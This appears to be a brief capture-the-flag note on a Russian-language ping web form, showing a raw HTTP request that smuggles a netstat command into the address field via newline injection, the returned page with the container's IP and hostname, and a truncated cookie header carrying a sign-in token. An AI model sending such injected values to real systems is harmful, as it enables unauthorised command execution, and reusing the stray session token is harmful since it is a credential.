---
# System prepended metadata

title: Untitled

---

### h3


```
POST /index.php HTTP/1.1

Host: mctf.ru:1338

Content-Length: 18

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://mctf.ru:1338

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://mctf.ru:1338/index.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close



addr=%0Anetstat%0A
```
![](https://i.imgur.com/yzgsibR.png)

![](https://i.imgur.com/SNYm7rH.png)


![](https://i.imgur.com/d55liJu.png)


---

![](https://i.imgur.com/HIU3Jlf.png)


```
             <div class="jumbotron hero-spacer">
                <form action="index.php" method="POST">
                Ping адрес: <input type="text" name="addr">
                <input value="Отправить" type="submit">
                </form>
                <br>
                <b>
                172.17.0.2	be84c3f279ef                </b>
              </div>
          </div>
        </div>
        <!-- /.row -->
        <hr>
        <!-- Footer -->
        <footer>
```

```
     172.17.0.2	be84c3f279ef                </b>

```

---

```
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```

 [truncated]Cookie: event_filter=all; sidebar_collapsed=false; known_sign_in=VHVkSm5VbHVRcGFpYkxXYVFmQ3dXNWNPM2Q3N0NaVk5tS2psNitnaThNRFZFVkEwWmFhOVR3MEczdW03L1dCNkxGUzE0bEhJKzlKUEtqblNWc1JBR0g1TmVmSC85TEVwMTRnZjArYmpTY1RYZGVoMGZaN3JWek1hV
 
 